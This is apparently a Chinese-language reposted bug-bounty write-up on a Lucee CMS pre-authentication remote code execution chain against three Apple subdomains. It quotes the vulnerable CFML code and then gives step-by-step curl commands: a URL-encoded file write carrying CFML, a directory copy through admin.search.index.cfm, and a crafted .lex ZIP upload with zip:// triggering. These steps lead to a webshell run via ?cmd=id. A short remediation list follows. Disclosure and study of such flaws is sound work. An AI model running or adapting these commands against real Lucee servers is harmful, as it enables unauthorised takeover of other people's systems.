挖洞经验 | 发现Lucee 0day漏洞RCE掉三个苹果公司网站
字数 1588 2025-08-15 21:33:37
Lucee CMS 0day漏洞分析与利用教学文档
1. 漏洞概述
本教学文档详细分析Lucee CMS中发现的0day漏洞,该漏洞允许攻击者在苹果公司三个网站上实现远程代码执行(RCE)。漏洞涉及多个文件的不当配置和逻辑缺陷,最终导致攻击者能够完全控制受影响服务器。
2. 漏洞发现背景
- 目标系统:苹果公司三个网站(facilities.apple.com, booktravel.apple.com, booktravel-uat.apple.com)
- 受影响组件:基于Lucee开发的内容管理系统(CMS)
- 漏洞类型:预授权/未授权远程代码执行(RCE)
- 漏洞奖励:$50,000
3. 前期侦察
3.1 目标识别
通过WEB应用识别和探测,发现三个苹果网站使用基于Lucee的CMS:
- https://facilities.apple.com/ (较新版本)
- https://booktravel.apple.com/ (较旧版本)
- https://booktravel-uat.apple.com/ (较旧版本)
3.2 WAF分析
苹果网站的WAF配置特点:
- 拦截几乎所有URL路径遍历和SQL注入尝试
- 前端服务只返回200或404状态码,即使后端返回其他状态码
- 对../等路径遍历字符有严格过滤
4. 漏洞分析
4.1 关键漏洞文件
发现三个可利用文件:
- imgProcess.cfm (较新版本中存在)
- admin.search.index.cfm
- ext.applications.upload.cfm
4.2 imgProcess.cfm文件漏洞
漏洞位置:
<cffile action="write" file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#\__#url.file#" Output="#form.imgSrc#" createPath="true">
漏洞原理:
- 允许通过file参数控制文件路径
- 使用expandPath方法创建目录路径
- 结合form.imgSrc参数可写入任意内容到服务器任意位置
限制:
- WAF会拦截包含../的路径遍历尝试
4.3 admin.search.index.cfm文件漏洞
关键功能:
- 通过dataDir和luceeArchiveZipPath参数实现文件拷贝
- 可创建任意目录并设置权限777
关键代码:
<cfif not directoryExists(dataDir)>
<cfdirectory action="create" directory="#dataDir#" mode="777" recurse="true" />
</cfif>
文件过滤逻辑:
<cfdirectory action="list" directory="#luceeArchiveZipPath#" filter="*.*.cfm" name="qFiles" sort="name" />
最终写入点:
<cffile action="write" file="#dataDir#searchindex.cfm" charset="utf-8" output="#serialize(searchresults)#" mode="644" />
4.4 ext.applications.upload.cfm文件漏洞
上传功能:
- 允许上传.lex扩展名的文件
- 不检查文件内容,仅验证扩展名
- 上传后文件存储在临时目录
关键限制:
- 必须为.lex扩展名
- 文件内容不受限制
5. 漏洞利用链构建
5.1 针对facilities.apple.com的利用
步骤1:创建恶意CFM文件
curl -X POST 'https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d' --data 'imgSrc="#stText.Buttons.save#"'
步骤2:触发文件拷贝
curl 'http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/'
步骤3:写入Webshell
curl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell
步骤4:访问Webshell
https://facilities.apple.com/lucee/rootxharsh/PoC.cfm
5.2 针对旧版本网站的利用
步骤1:创建恶意ZIP文件
- 创建内容为"#stText.x.f#"的文件,命名为
server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm - 打包为payload.lex
步骤2:上传文件
curl -vv -F extfile=@payload.lex https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm
步骤3:使用zip协议触发
curl https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex
步骤4:写入并访问Webshell
curl https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell
访问:
https://booktravel.apple.com/lucee/exploit/test.cfm?cmd=id
6. 漏洞修复建议
- 限制对CFM文件的直接访问
- 加强文件上传验证,不仅检查扩展名还要验证内容
- 修复路径遍历漏洞
- 加强权限控制,避免未授权访问管理功能
- 更新到最新Lucee版本
7. 总结
本漏洞通过组合利用Lucee CMS中的多个安全问题,最终实现了远程代码执行。漏洞利用的关键在于:
- 利用imgProcess.cfm或文件上传功能创建恶意文件
- 通过admin.search.index.cfm的文件处理逻辑将恶意代码写入可访问位置
- 最终实现任意代码执行
此案例展示了即使是大型企业如苹果,也可能因为开源组件的配置不当和逻辑缺陷导致严重安全问题。